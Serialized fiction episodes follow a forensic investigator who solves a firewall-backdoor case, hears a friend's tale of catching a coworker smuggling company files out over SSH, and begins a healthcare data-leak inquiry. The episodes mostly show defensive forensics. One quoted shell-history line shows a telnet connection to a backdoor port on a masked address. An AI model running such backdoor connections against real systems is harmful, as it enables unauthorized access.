I decided to rest for a few minutes and let my mind clear. I had to get back into an investigator mindset and calm down. I was really irritated.

Two cups of finely brewed java later, my doorbell rang.

dong!

I opened the door to find a quite drenched Scrappy huddling under the dry safety of my porch.

I motioned for Scrap to join me in my office and I pointed to the linux firewall setting neatly on my lab table.

“Care to have a look there, bud?” I asked.

Scrappy approached the firewall and peered inside. The hard drive was removed and setting next to Roscoe, IDE cable still attached.

“What are you expecting me to see here, Chief? This is my firewall. There’s my ID sticker on it - FW-1.” Scrappy said, running his index finger along the ID tag on the front of the firewall case.

“You want to explain how that hard drive is wiped clean?” I asked, glancing over at the hard drive sharing desk space with Roscoe.

Scrap approached the tabled and looked down.

“What hard drive? This drive?” Scrap said as he turned the hard drive 180 degrees. “This isn’t my hard drive. This is a Maxtor - I only use Western Digital drives in these babies. "

I stared at Scrap like he had just called my mother a derogatory name.

“What do you mean that’s not your hard drive? I took it out of the box!” I exclaimed.

“I’m telling you Chief, that is NOT a hard drive that I would use. That model of Maxtor has a ridiculous fail rate.” Scrap said as he shook his head.

I disconnected the hard drive and placed it back in the linux firewall, screwing the two screws holding it into the drive bay.

“Here.” I said as I handed the case cover to Scrap. “Finish putting this back together.” I sat down in my office chair and crossed my arms in my lap.

Scrap popped the case cover back on and slid it neatly into place.

“Got a screwdriver?” Scrap asked, stretching out one arms towards me.

“Why? There weren’t any screws holding the thing on when I got it.” I replied.

Scrappy put his arm down and stared at the box. He stood motionless for what seemed an eternity.

“You ok?” I asked.

“Chief, you know me pretty well. I always screw case covers back on. This case takes four case screws - and one of the holes is stripped - this case cover had three case screws holding it on.” Scrap moaned as he sat down on the lab table.

I left the comfort of my office chair and examined the case cover. I opened a filing cabinet drawer and pulled out a baby food jar full of case screws. Two screws into securing the cover and I found that one wouldn’t tighten.

“Son of a gun… " I said.

Scrappy continued to sit on the table, head down… thinking intensely.

I glanced over at the tadpole, still hanging from the hastily-fashioned clothesline.

“Hey Scrap, how are your surgical skills?” I asked with a grin.

“Heh?” Scrap said, not lifting his head.

“I need your help with a little surgery on your laptop.”

I had all the questions, and Scrap was about to give me all the answers.

Source: archived original

Part XIV · Nov 19, 2004

“I need a smoke first.” Scrap said as pulled a pack of Newports from his pocket and headed toward my back porch.

My heart was starting to beat a little faster, and I suspected it was from the excitement surrounding the tadpole. Anyone else would blame the coffee, but we all know that the Chief has a high tolerance. I removed the tadpole from the clothesline and placed it on the empty half of my lab table, still warm from Scrap’s strategic placement of his arse.

I had just begun to slide the drive door down when Scrap re-entered the office, a blank look occupying his face.

“Ready to do this?” I asked as I slid the drive sled from the tadpole.

“Yeah.” Scrap replied as he volunteered to hold the tadpole steady.

Scrap had apparently gotten sick of the small SCSI drive that came in the tadpole and replaced it with an IDE drive equipped with some sly IDE-to-SCSI adapter. Very cool.

I scrounged around in my forensics kit for the proper adapter for the drive, and before I knew it we were in the process of imaging the drive.

The room was getting uncomfortably quiet, so I recommended to scrap that we step out the living room and watch some TV.

A short time later the familiar chime of a console beep alerted me that the drive image was completed. Repeating the same process as earlier, I mounted the partitions and prepared for some serious investigation.

With scrap looking over my shoulder, we went for the obvious - shell history files. Scrap was a bash man, so my attention was drawn to /.bash_history and ~/.bash_history.

We breezed through root’s history file (/.bash_history) and saw nothing entertaining. My faith was partially restored in Scrap - he wasn’t doing too much work as the root user.

The history file for his user account was a little more… fascinating. Scrap and I stepped through his commands, and analyzed the sequences very carefully… until they abruptly ended.

“I don’t get it.” Scrap said. “I don’t see any commands past where I checked my mail before leaving to get Abby - see, that’s where I ssh’d to the mail server… there’s where I ran pine… and there’s where I handed the ‘pole to Abby. "

“How does she usually get her mail?” I asked.

“She’s a console gal, man. Otherwise I wouldn’t be dating her.” Scrap said all too seriously.

I went with my gut and dived into the Netscape history and cache files. Scrap verified all the sites, and even pointed out the pr0n links that Abby was so upset about. We weren’t getting anywhere. I then decided to do a comprehensive search of the root partition for strings of interest. A little magic with ‘find’, ‘grep’ and ‘strings’ and we were sailing through thousands of files - and of course, nothing of interest was revealed.

I noticed the number of partitions that we imaged… a root partition, a swap partition, and two others that seemed rather strange. One was relatively small, and the other was the exact size of the root partition.

“Hey scrap, what are these other two partitions?” I asked, pointing to the images files - not yet daring to delve into the mounted versions.

“Uh, that small one is used for suspend/restore - and the other one is my backup partition.” Scrap responded.

“Backup partition? How are you backing up your root partition?” I queried. I was almost giddy that Scrap was proving to as responsible as I remembered.

“I have a little script that fires off when I login, and it performs an rsync between the two partitions.” Scrap said.

“Wait, you mean when you logged in to check your mail BEFORE you picked up Abby, it made a backup… and then it made another backup when you logged in to give the tadpole to Abby to check her mail?” I asked.

“Right - well, there’s a delay of a few minutes at first because it has to figure out what files have changed, but it’s pretty darn faster after that.” Scrap said.

I wasn’t even paying attention to Scrap’s words at this point. I had already mounted the backup partition and went straight to ~/.bash_history. A quick SHIFT-G in vi and I was at the bottom of the file.

“Holy Jeezus on a pogo stick.” I whispered.

Scrap didn’t make a sound.

Source: archived original

Conclusion · Nov 29, 2004

I’m not good at awkward silences. I start to say something, but then I stop because I think someone else is going to say something. I decided that I’d pass the proverbial speaking torch to Scrappy. I was waiting a long time - then I noticed that Scrappy was standing there with his eyes closed.I looked back at the console screen - there in the .bash_history file was the straight dope:

… telnet 210.x.x.x 27374 ssh mail.chix0rsrus.com …

“Scrap.” I said as I tapped him on the shoulder.

“Huh?”

“So you’re telling me that this telnet command is Abby?” I asked, pointing at the screen.

Scrappy sighed loudly.

“Yeah. I guess it is.” he replied, closing his eyes again.

“Scrap, the machine at that IP address appears to match what we caught using the backdoor on the firewall. Any ideas?” I asked, smacking Scrap in the arm a few times.

“Yeah, I suppose I have a few.” Scrap said. “Let’s go outside - I need a smoke.”

I followed Scrap out to my Patio, grabbing a fresh cup of Joe from the kitchen.

“I’m sorry.” Scrap said as he exhaled a plume of Newport smoke into the atmosphere.

“Sorry for what?” I asked, tapping my finger on my coffee cup.

“Sorry for getting you involved in this.” he responded.

“Can I make a guess on what you’re about to tell me?” I asked Scrap after a mighty swig of go-go joe.

Scrap nodded as he sat back into the patio chair.

“Abby is every geek’s dream girl. She’s hot, she’s smart, and she has a personality. You got involved with Abby and found geek nirvana. After a few weeks, you started having differing opinions on all things geek. Your relationship turned into a festival of one-upsmanship. How am I doing?” I asked Scrap.

“You forgot to mention her incredible taste in geek boys.” Scrap cracked as he flicked a burnt cherry off the end of his cigarette. “But please, please continue.”

I elaborated on my theory.

“A series of ‘geek olympics’ has been going on. She hacks your hotmail account, you socially-engineer a credit-card in her name, she has your electric turned off, you deface her weblog…. am I still doing ok?” I said as I put down my coffee cup and scratched my arm.

“It’s like you’re reading my mind, man.” Scrap joked as he lit another Newport. He was taking my intuition a little light.

“Eventually, you two ran out of ways to best each other. One night, Abby turns her attention to your little server farm at AdaBill. She’s so good at not being noticed once she’s penetrated your firewall that she decides to liven things up. She wants you to know what she’s done. She starts manipulating your link traffic. You see what’s going on, but you’re unsure of who is doing it. You suspect Abby, but you don’t want to ask her - because it might not be. You don’t want to mention it to me because, hey - you appear to be getting your geek butt kicked by a chiX0r. So you remain silent.” I said, looking back at Scrap for a reaction.

“That’s mostly correct.” Scrap responded. “I honestly didn’t think it was Abby until you showed me the hard drive you took out of the linux firewall. There’s no way in hell that I’d use a cheap ass drive like that one. And I knew that the only person who would cover their tracks that well AND that had access to my office would be Abby. She wanted to preserve her hack, and the only guarantee she had was to replace the drive.”

I raised an eyebrow.

“Scrap, I need to know where to go from here man. So far I’ve figured out what has happened, who was responsible, and I gave your rather expensive sparc laptop an unneeded bath. I still owe your employer a report. I can write up my findings and recommendations, or you can go talk to them yourself. It’s your call.” I said as I sat forward, placing my head in my hands. “What’s it going to be?”

Scrap put out his cigarette and leaned forward in the patio chair.

“I’ll talk to management. You’ll get your check either way. Let’s just hope I have a job after tomorrow.” Scrap said as he stood up and stretched.

CONCLUSION

Scrap met with the management of Adabill the next afternoon and explained to the three most senior officers of the company what had happened. Adabill hadn’t finished putting together a loss estimation from the misguided traffic, but from my exit conference with management I learned that the CFO had guessed around $120k. Adabill made a move that surprised me. They didn’t fire Scrap. Scrap paid for the $120k loss in good ol’fashioned humiliation. Adabill had Scrap explain the loss himself at the BoD meeting. Needless to say, the BoD tore Scrap a new orifice and then laughed through his entire presentation. Comments like “she sure schooled you!” peppered the conference room.

Abby was confronted by Scrappy a week later after she returned from a security gig out of town. Abby confirmed my suspicions, however Scrappy left me out of his conversation. I’m not sure if that was a blessing or not. Scrappy and Abby broke up within two weeks citing geek incompatibilities. (Scrappy won’t admit it, but her skills were far more superior than his) Scrappy is currently employed as a systems administrator for a hosting company. Abby is still a security hired gun. The Chief is still tired and in need of coffee.

(Aside)

This goes to show you that no matter how much work you do in this industry, you haven’t seen everything.

What would you have done if you were Scrappy?

What would you have done if you were on the Adabill Board of Directors? Would you have been easier? Harsher?

(/Aside)

Until next time - beware of good-looking ch1X0rs in leather pants - and remember that computer investigations aren’t all about computers.

Source: archived original

12. Case of the Bandwidth Burglar

Fri, 03 Dec 2004 00:00:00 +0000

Part I · Dec 3, 2004

“Is it even scientifically possible for coffee to freeze within a few minutes?” I asked myself as I stared into my coffee cup. What was once an interesting house blend had turned into an iced mocha in a matter of minutes. Then again, I was in Canada.

During the winter time.

Even my blood was freezing.I was perched inside a small café, enjoying free wireless connectivity and, apparently, an iced mocha. I was meeting a friend of mine, Nelson. Nelson was a fellow geek and had one of the coolest jobs to be had: he worked at a video game company. Nelson was a top-notch systems administrator and always had a plethora of interesting geekish side jobs going on at any time.

“Chief! Your teeth are chattering - welcome to Canada!” Nelson joked as he sat next to me at my table. “Nice Powerbook man - looks a lot like mine.” He said as he pulled his own Powerbook from his backpack. “I need some coffee, be right back.”

“My teeth aren’t chatter-er-ering!” I thought to myself as I browsed a few auctions I was watching on eBay.

Nelson returned with a steaming cup of joe (why was his coffee hot? Is there a trick to ordering coffee in this country?) and cracked open the top to his powerbook. “So, how you liking Canada?”

“It’s, uh, nice… and pretty close to the north pole from the temperature.” I quipped as I scanned the weather applet on my powerbook’s desktop. “Jeezus man, it’s 7 degrees outside!”

“Yeah, well it’s a warm winter this year. So how’s business? You working a gig up here?” Nelson asked with a loud slurp.

“Finishing one up, actually. It was mostly a due diligence job - you know, two companies merging that don’t trust each other. As the law of hilarity would dictate, neither one of them had adequate security controls in my opinion.”

“Hey, speaking of security controls - I just had a case of my own that I solved.” Nelson beamed.

“Oh, do tell Sherlock. I have to hear this.” I said as I made myself comfortable in my chair.

Nelson pushed back his chair and crossed his legs. This story MUST be good.

“Well, as you might remember I run a small web hosting company on the side from my normal day job as a SysAdmin, mostly so I can host my personal sites and retain some control over the machine. It doesn’t make money, but it can be fun. Most of my clients are friends or friends of friends.”

I stopped Nelson immediately. “Wait a tick, I don’t remember an offer to host any of my stuff!”

Nelson grinned. “Anyway, I get charged based on the amount of traffic I use, so I try to keep tabs on it. For individual sites, I use Webalizer and generate stats every night from cron. But, that doesn’t track non-http traffic, so I thought I needed something better.”

“Oh man, now I know where all that Canadian pr0n is hosted.” I said with a quick ducking motion.

“I won’t ask how you know about Canadian pr0n - but I digress. The first attempt was with a nice little app called IPFM (IP flow monitor). It just sits there listening on the network interface and logs the amount of traffic you use to a file. I had it configured to log hourly, then I used another application called bw-ipfm to make nicer looking reports based on it. They worked really nice, and I’ve been using them for years.”

I smiled and joked “Sounds like a good use of open source tools, my man. So when does this start getting good?”

Nelson raised both eyebrows at me, clearly forgetting how much I enjoyed giving him a hard time.

“I gradually started using more and more bandwidth. I could fairly easily figure out the web traffic, and I wrote a perl script that grep’d the mail logs and figured out how much bandwidth incoming mail was using, but there was a large gap. Since those are the two primary services I provide, I was kind of concerned. And I had no idea what I was about to find.”

I ordered another coffee - hopefully hot this time. Nelson was on a roll.

Source: archived original

Part II · Dec 7, 2004

My heart was doing a pitter-patter dance. Not only had the coffee I ordered come hot, but apparently it was “high octane”. Wow - I’m not going to sleep for days!

“Alright, so let me make sure I’m following you here. You have these hosting boxes, and by setting up some cool tools you’ve found that your bandwidth usage numbers are all out of whack.” I said in between sips.“You got it. So, I’m thinking at this point that I might have been compromised. There’s quite a bit of script kiddy and wanna-be hackers up around these parts - so I ran chkrootkit and thoroughly inspected the machine (even using trusted sources for binaries) to make sure that it wasn’t a hacker . Now I have to admit that I was kind of concerned, because it was a 4 year old install of Debian, but I was always pretty good at keeping it up to date. But, what if it was an exploit in the kernel - I might have missed it! As luck would have it, my box was fine and there were no signs that the box had been compromised. The only other thing I could think of was secure shell.” Nelson postulated, raising a hand into the air.

“So these hosting customers have shell access to your box as well? The world is their oyster.” I said with outstretched arms. “So I have to ask, how were you able to track the shell traffic?”

“Well, I looked into trying to log scp and sftp traffic, but wasn’t able to find anything immediately. Later I found that you can get patches for OpenSSH. But anyway, I checked the logs to see who it could be, and spoke to a couple of prime suspects, but they all denied it. " Nelson said.

“They always do.”

“Duh - but I figured it wasn’t someone being malicious, and they were probably just using it as a way to transfer files back and forth from home or something.” Nelson responded as he finished off his coffee.

“That’s a pretty good theory. After a clue banana or too, I’m betting that you did more research and found something… interesting?” I said, signaling the barkeep for another round of coffees.

“Finally I read an article in SysAdmin magazine by Randal Schwartz where he used OpenBSD’s pf - it has this ability to generate totals for traffic based on a rule using labels. He then inserted it into a sqllite database and generated fancy graphs with Perl.

I figured I would do the same, with a few twists. He was running it on the machine he was monitoring, I decided to use a transparent bridging firewall in front of the machine. I also decided to insert it into PostgreSQL instead. Oh, and I did it all in Python.”

Now I was really captivated. “I can understand PostgreSQL for the speed, but Python? Are you wielding the holy banana of coders too, now? Impressive!!”

“Hey, Python is cool. Finally I set it up and had it logging for a few weeks (I was busy), then I managed to take some time to go through the data I had collected and find out who it was. First, I did some queries to figure out which days had spikes in traffic. Then I took those days and figured out what type of traffic it was - secure shell! Then I narrowed down when the traffic spikes occurred.” Nelson was really into this story.

“So where did the rabbit hole lead?” I asked. “And how did you correlate the traffic to a user?”

“How did I know you were going to interrupt with that? Okay - after I had a one hour time window from the previous day that showed a large amount of traffic sent, I started going through the authlogs on the server itself. I was quite lucky in a way, because there was only one ssh login during that time, and it was exactly when I had seen the traffic in the database.” Nelson said.

“And did you know this person?” I asked on the edge of my seat.

“Did I ever.” Nelson replied.

Source: archived original

Part III · Dec 10, 2004

“Ok, ok - enough with the suspense. Out with it man, details!” I demanded.

“You know that we deal with large files at work. Well, this person apparently had a lot of large files too.”

“Well, couldn’t they have been iso images out of someone’s warez collection, pirated movie files or something? There are so many good Canadian films to pirate nowadays.” I said, poking Nelson’s Canadian button a few more times.

“The user was a customer of my hosting services - and a coworker.” Nelson said, his voice growing strangely softer.

“Holy sh…. You serious?” I said, eyes wide open.

“Honestly, I wasn’t surprised that this person would be tranfering large files. We have some pretty beefy machines in the office, so I figured they were working on a personal project at work and was just scp’ing it up to my machine and then scp’ing it down once they got home.” Nelson replied.

I pondered his words for a moment. “Ok, that sounds pretty legit. So where does this go wrong?”

“I started writing them an email telling them that I paid for the bandwidth they were using, and asked if they could pick up a USB drive or something to carry their files back and forth. Just on a fluke, I checked to see if they had already downloaded the files that they had uploaded.

That’s when everything changed. I realized that it was files from work - yes, actual intellectual property of work - that they were not allowed to remove from the facility. Now I had a dilemma, this person was a coworker, and I am sure they weren’t taking them home for a malicious reason. They probably just wanted to show them to friends or something, right? But alas, it was my job to try to make sure things didn’t leave the facility.” Nelson said.

“Ah, now that’s quite the quagmire to find one’s self in. You find out that a coworker is doing something naughty, and the esprit d’duty kicks in. Quite common nowadays from my experience. What did you do?” I said with a puzzled look on my face.

“I did something that I really didn’t want to do - something that I think about every day now.” Nelson said, staring a whole through me.

Nelson was in neck deep - what DID Nelson do?

(Aside)

Put yourself in Nelson’s shoes (in this case, big snow shoes).

What plan of action would you follow?

(/Aside)

Source: archived original

Part IV · Dec 17, 2004

I could tell during Nelson’s accounting of this story that it bothered him quite a bit. I was feeling rather privileged that he was wanting to share this story with me. I felt a little off balance though, because it’s usually me recanting my stories to others in hopes of educating the masses.

Nelson moved a bit in his chair, and with a satisfying gulp of joe he continued.“Chief, I figured I had two options. I could go to them and explain that I had found the files, and then deal with it myself, or I could go the management and they would reprimand them in some form or fashion. It is their responsibility to do so, right?

I wrestled with this for a while - it made me ill.

I thought about it for a few hours, and I decided to go to management, but proposed that I talk to them, let them know that they weren’t allowed to take the files, and have them promise to delete them. Then our management folks could send out a reminder to the other employees.” Nelson shared.

I gave Nelson a reassured look across the table.

“There’s nothing wrong with that decision man. If you managed that company, I bet you’d really appreciate a trusted employee coming to you with similar findings. So how did management react? In the States they send people to the electric chair for that now.” I said without missing a beat.

“Seriously? Isn’t that a bit rigid for intellectual property theft?” Nelson wondered.

“Obviously you’ve never been subpoenaed by the MPAA or the RIAA.” I fired back. “Ok, I’m actually kidding. Sorry to interrupt again - what happened next?”

“Great Gods of Gilder, they took it much more seriously than I expected. I had a conference call with the management team where I had to explain exactly how I figured it out, and how confident I was that it was in fact this employee. I imaged the drive of their machine using dd just in case.”

I smiled. “You’re going to be a forensic investigator yet Nelson. I’m guessing management was freaking out at this point?”

“Well, they scheduled a management meeting the next morning to decide what to do. I was pretty stunned at how they took it, and I couldn’t sleep that night. I should add that she was a friend of mine.”

Now that was a new bit of information. It was a female coworker!

“Crickies! A fellow employee, a female AND a friend of yours? Nelson, have I ever told you the story about Scrappy and…” I trailed off.

Ok, I wasn’t going to go there.

(Aside)

What will management’s decision be?

How will this affect the relationship between Nelson and his co-worker?

How would you approach this?

Have you had to approach this? Share!

(/Aside)

Source: archived original

Part V · Dec 24, 2004

Nelson was getting more upset as this case was unwound. I completely understood.

“Seriously man, were you getting raked over the coals at this meeting?” I asked.

“I had to go over everything again, and explain things and thankfully my management is fairly technical. They also had a lawyer present just to cover the bases. He asked me a million questions about my business and what kind of contract I had with my hosting clients. I realized that this might not stand up in court, so I was pretty nervous.” Nelson said as quickly downed the rest of his second coffee.“Well, I can’t speak for Judge Judy up here, but if you documented everything and maintained some sort of chain of custody of the evidence, you might have a chance in the States.” I said. “But I agree, this is very shaky Nelson.”

“I was feeling like total crap, Chief! After the meeting her fate was pretty much sealed. She was going to be terminated. Did I mention that she had a B1 visa, so that meant she would probably have to go back to her home country only a few months after her husband had finally moved to Canada!!!”

“Good grief.” I lamented. Now I was getting depressed.

“So a few hours later they called her into the conference room and had a meeting. While she was in there, I had to do my job and disable all of her accounts on the systems and remove her machine from the floor.

I never actually saw her after the meeting, which is probably a good thing. This was probably the most difficult thing that I have ever had to do in my career. I have worked 120 hour weeks, I have stayed up for three days trying to recover critical data from a file server, and I have dealt with hackers and virii. Let me tell you Chief, they are nothing compared to having to carry away a friend’s machine after she is fired based on information that I provided.” Nelson said, clearly drained from our conversation.

Nelson and I spent the rest of the afternoon discussing happier geek topics and putting a hurt on the café’s bandwidth bill.

Neither of us transferred any large files.

(Aside)

This was a bit different that my past case files, as it was relayed to me by a friend of mine. I hope that while reading this case file, the message was loud and clear.

Doing the right thing is almost always the right thing to do - but it’s never easy.

What would you have done in Nelson’s place?

(/Aside)

Source: archived original

13. Case of the Prying Eyes

Wed, 29 Dec 2004 00:00:00 +0000

Part I · Dec 29, 2004

I couldn’t keep my eyes open. I had just finished twenty excruciating hours of forensic analysis on a client’s hard drive, and my head felt like Dr. Phil’s seat cushion (under pressure). I was sitting in a comfortable lounge at my local car dealership waiting for my vehicle to get routine maintenance.

“Why I make these appointments so damn early in the morning I’ll never know.” I whined to myself. I felt mildly refreshed as I spied a to-go container of Starbucks and a few boxes of Krispy Kreme doughnuts sitting on a nearby counter. I was half-way through my first cup of Holiday Blend and working on a chocolate glazed when my nemesis, the cell phone, rang at full volume. Not only did I realize that I was now fully awake, but so was everyone else around me.

Oops, sorry folks.

“Chief.” I habitually said into the squawking silver box.

“Good morning, sunshine! This is Rick over at Chelsea Healthcare. How are you?”

“Like wrapping paper on Christmas morning man - just waiting to get stepped on.” I joked.

Rick and I went way back - he was one of the first clients I ever had and kept in touch on a periodic basis to sample one of the several hundred beer flavors at the local pub. I wasn’t in the mood for a beer at 0800 hours.

“Always the joker. Hey, I have a really bizarre situation that I need some help with. We’ve been doing pretty well handling all of our own security incidents after you put together our incident response plan years back - but we’re kind of stuck on this recent happening.” Rick said in a serious tone.

“Someone stole the keys to the Coke machine again?” I said, fondly remembering the three days of hilarity that ensued when the Chelsea IT staff couldn’t get to Mountain Dew on a regular basis.

“I wish. This actually has to do with a potential customer of ours - an external incident. We’re struggling with legal, audit and the rest of the security staff on how to handle this. Let me put it this way, this individual isn’t even a customer yet and they are blaming us for stuff already.” Rick said in disbelief.

The boggle sound coming from my brain was loud enough that I’m sure the dealership receptionist could hear it. There I was again, bothering people.

“Um, Rick you know I’m not one for riddles, but what exactly are we talking about here?” I demanded, looking around for that magical Starbucks fountain of coffee.

There was a dramatic pause on the phone. I heard Rick cough and he said softly “She is claiming that we assisted in the theft of her identity.”

Yikes. I hope they have my vehicle done soon.

Source: archived original

Part II · Jan 3, 2005

Identity theft is serious stuff. Heck, I live in a city that is darn near the identity theft capital of the world! I knew my case load was light for the next few weeks due to the holidays, so I had to help Rick out.

“Ok, let’s talk details when I get there. I’m stuck at the car dealership for a while, but I can head over about lunch time. You want to meet at the usual place for burgers?” I asked, paying attention to the grumbling sound in my gut. It would appear that Krispy Kreme wasn’t being kind to my stomach.A few hours later my vehicle was in tip-top condition and I was busy punching the burger place into my navigation system.

“In one quarter mile, make a right turn onto I-999.” went the seductive female voice. Wowza. I need to travel interstate more often.

A little over an hour later, I was across town and nearing the burger joint.

“In two tenths of a mile, turn right. Your destination is on your left.” went the voice again.

Just in time. I was starving.

I pulled into the parking lot to find Rick sitting on the hood of his ride, his trademark cigar in his mouth.

“Chief! Hurry up - I’m starving!” Rick cried, cupping his hands around his mouth.

A few moments later we were seated in the burger joint, staring at two 1/3 pound burgers with everything. Life was getting better by the minute.

“So Rick, details man. You typically only get me involved when something ugly is going on. Start at the beginning.” I said in between bites.

“Well, as you know we launched a major e-commerce initiative a few months ago. Since you have our insurance I’m sure you got the flyer, right?” Rick asked.

“Yep - the blonde lady on the cover was pretty hot.” I joked, threatening another french fry with my fingers.

“That’s the one. Part of this initiative is to drum up substantial numbers of individual policies. It’s been working okay so far. A few weeks ago we had a call from a subscriber that was escalated directly to me. I knew something bad was going down when it hit my desk.” Risk lamented.

“Hey, it comes with the territory when you’re the CSO, bud. Get over it.” I joked. Rick made a truckload of cash, and frequently complained about it.

“Eat your burger Chief. So anyway this customer is a female, and she doesn’t even live in this state. Right away, we have a distance issue - we can only talk to her on the phone. Secondly, she says that she went through the application process on our website and used a home phone number that was brand new. She had just gotten the service that same day.”

I sat back in my chair. I knew what was coming already.

“She claims that thirty minutes after filling out our application, she received a call on her new home phone number that she hadn’t given to anyone but us. The call was from a competitor - well, not really - a broker. They told her that they were aware that she was shopping for health insurance on the web.”

Let the finger-pointing begin.

Source: archived original

Part III · Jan 13, 2005

“Rick, give me a minute to digest this - and my burger.” I said as I sat quietly, staring at the ceiling.

The scenario was sounding all to familiar, but I didn’t want to jump to conclusions.

Chelsea had a potential customer that filled out an application for health insurance on their website. The customer used a contact number that was an hours-old home phone number. The customer hadn’t given out this number to anyone but Chelsea. Minutes after submitting the application, the customer receives a call from a health broker wanting to sell her insurance. A quick analysis of the situation let me to think one thing: information interception. But how? Need input!“Where are you at right now, Rick? If you followed the incident response plan that I wrote for you, you should have performed some sort of security analysis on the machines in question, a physical analysis of your network devices and connections, a logical analysis of who had access to the information submitted, etc.” I said, putting Rick on the hot seat.

“Absolutely Chief. My team went into action immediately. As a matter of fact, we should head over to the office now so you can talk with the team and guide us through this.” Rick suggested. The retainer fee he slipped across the table was quite the motivator. I guess he knew I’d want to jump on this.

I followed Rick back to the office, mesmerized by the cleanliness of my vehicle. What DID they use to clean this interior? It smelled like a mixture of wax and cologne.

Rick escorted me to the security desk where I promptly received a contractor badge with my picture affixed to the bottom of it. I bet they don’t take too many pictures of chimp-like creatures on a day-to-day basis around here.

Clue banana in hand, I walked into the spacious conference room and placed my laptop bag in the chair next to me. A few moments later Rick’s security and privacy staff milled into the room and took their seats. The staff had grown quite a bit thanks in part to recent HIPAA Privacy and Security regulations. Ah, the government at work. How quaint.

The lights in the room began to dim, and a staff member began an impressive-looking presentation on the incident at hand. Several slides later, I was exposed to some new information - a timeline! I grabbed my trusty Powerbook, popped open textedit (notepad for all y’all windows folks) and started taking more case notes. A summary of the notes looked like this:

_ 09/02 - Customer places call to Privacy Office, files a formal complaint. 09/02 - Privacy Officer reviews complaint, forwards complaint to CSO. 09/02 - CSO reviews complaint. 09/02 - CSO activates incident response team. 09/02 - IRT begins investigation. 09/03 - IRT performs security analysis on all servers involved 09/04 - IRT reports nothing out of the ordinary. 09/04 - IRT performs network device analysis 09/05 - IRT reports nothing out of the ordinary. 09/06 - IRT performs intensive log analysis. 09/06 - IRT begins interviews of staff with access to data. 09/07 - IRT reports nothing conclusive. _

A dead end? Why am I always called in when there’s a dead end?

This is just getting better and better.

Source: archived original

Part IV · Jan 20, 2005

“We’ve got a big, fat goose egg.” said Paul Verselle, manager of information security at Chelsea. “My team has left no rock unturned, no log unread, no configuration unchecked. That data didn’t leave our network.”

I smirked… “Paul, you sound pretty confident. And you may be right. The information may have not left the Chelsea network in electronic format. It could have left via a voice call, fax or even a photocopy. Do you have a list of the employees that have direct access to that data? And I need a list of all employees that work in your network group - anyone that has direct access to the telecom hardware around here.”

“We’re way ahead of you there, Chief.” Paul said as he flipped ahead in his presentation. “Here’s a list of all employees that have direct access to the data - there are ten of them. The network team consists of 11 engineers, however only 5 have direct access to the datacenter - which is the only practical location for a tap.”

“Speaking of taps…” I began, “have you walked every port on your network? No hidden WAPs or hubs laying about under the floor or in the ceiling? Or perhaps rigged as a tap and sent to another port on the LAN?”

Paul made eye contact with his lead analyst.

“Um, yes - yes - and uh no.” came a reply from the other end of the table.

“You haven’t checked for a rerouted tap?” I asked.

“We didn’t even think of that. We’ll send a few people back down to inventory the cables again.” announced the mysterious voice. The room was so dark I couldn’t make out the analyst’s face.

“My goal here (and sticking with our plan) is to isolate this incident - if we can eliminate the facility as the source of the leak (if there is a leak) we can move on to more productive activities.” I said, standing up from my chair.

I paced around the table to the front where the presentation screen hung from the ceiling.

“What about the potential customer? Are they cooperating? Has she been interviewed? Have there been calls from other places than insurance payers?” I asked in a pretty obvious tone of voice.

Silence.

“You mean to tell me that nobody here is working the ‘victim’ end of this?” I said as I stared at Paul, then glanced at Rick.

Rick cleared his throat.

“To be honest Chief, we haven’t contacted her post-incident because of our legal department. They are still trying to determine how to handle this.” Rick said, tapping his fingers on the table in front of him.

“We’re losing valuable time here. We need a decision from your legal department on whether or not we should pursue this outside of the company. Has the potential customer said or done anything past filing a complaint?” I asked, motioning to Rick to answer.

“Negative. Not a peep. I’ll call a meeting with General Counsel after this meeting and get an answer asap.” Rick said, making some notes in his portfolio notepad.

This was going nowhere fast. Lucky for me my plan was already formed - and about to be executed.

Source: archived original

Part V · Jan 31, 2005

I’ve found that for every year that I’ve aged, I’ve lost a certain percentage of my patience. Some things in life are worth waiting for (like a tall, hot, steaming cup of freshly brewed coffee from Starbucks) and the needle on the patience meter never moves. Other times, I struggle to not beat people over the head with a clue banana or two.Case in point: Paul’s management of this incident. Paul is good “suit” security manager, but lacks a technological understanding of information security. It was very evident in the remainder of the presentation. Note-taking was very poor, there was very little documentation of ‘who’ worked on ‘what’, and the timeline was useless as a result.

I left the incident briefing with an extreme lack of confidence in the security management at Chelsea. According to some intelligence from a VP at Chelsea (gathered in the restroom of all places), Rick had been asleep at the wheel for the past year vying for the CIO position. Great - a distracted CSO.

Rick had arranged for me to work in an unused office in the IT department. I had a LAN connection, a phone, and I was about twenty paces from the break room. Excellent.

ring The cellphone demanded my attention.

“Chief - Rick here. Can you meet me up on the fourth floor in about ten minutes? I’d like for you to be present when I talk to the GC.”

Were Rick’s ears burning?

“No problem - on my way.” I said as I picked my laptop bag off of the desk and headed to the elevator.

A few moments later I was stepping out onto the lobby of the fourth floor, and not a second too soon. The elevator music was a brain-chilling rendition of the “Friends” theme song as performed by a grade school orchestra (or so it sounded).

I made my way to the office of the General Counsel (that’s “head lawyer” in suit-speak) and identified myself to the receptionist.

“Chief, in here.” Rick said as he motioned me into a mahogany-covered office.

I had met the GC on my last visit, and he seemed almost surprised to see me.

“Chief! Hello! Have a seat.” said Jean-Claude as he sat down in his over-sized office chair.

“Ok Rick, I have reviewed the memo that you sent over. This is quite the pickle sandwich, eh?” Jean-Claude said as he glanced my way.

(“Pickle sandwich” is his favorite term to use to describe anything, and no - I haven’t a clue as to why.)

“JC, we need a ‘go’ or a ’no-go’ from you on this. Chief would like have the complainant interviewed for more information.” Rick pleaded.

“Yes, of course. Ce que! I think our position will be to not interview the complainant. It is my recommendation that we make sure our house is clean and move on.” JC said, folding his hands together as he looked at the wall behind us.

“I understand your position, however this could make our investigation much more difficult and we may not come to an adequate conclusion without an interview.” I said firmly.

“Chief, I wish I could tell you that it was no problem - but quite honestly, we don’t want seconds on this pickle sandwich.” JC said, saying something to himself quietly in french.

(This won’t be the last time he uses that term - much to my displeasure.)

Our meeting was interrupted by a call on Rick’s cell phone.

“Pardon me.” Rick said as he answered the ringing box on his belt.

“Yes? Excellent. Meet us in Tony’s old office - yes that’s where the Chief is working. Thank you.” Rick said, closing his phone abruptly.

“Chief, Paul’s senior analyst has a CD-ROM that you requested? What’s up?” Rick asked.

I was about to roast a pickle.

Source: archived original

Part VI · Feb 11, 2005

The ball was in motion, and I was using a few pages from “Chief’s Classic Play Book”.

I met Paul’s senior analyst in my office. Thomas was sitting in a side chair with his laptop bag on the floor in front of him.

“Is it Christmas time?” I asked, cracking a smile.

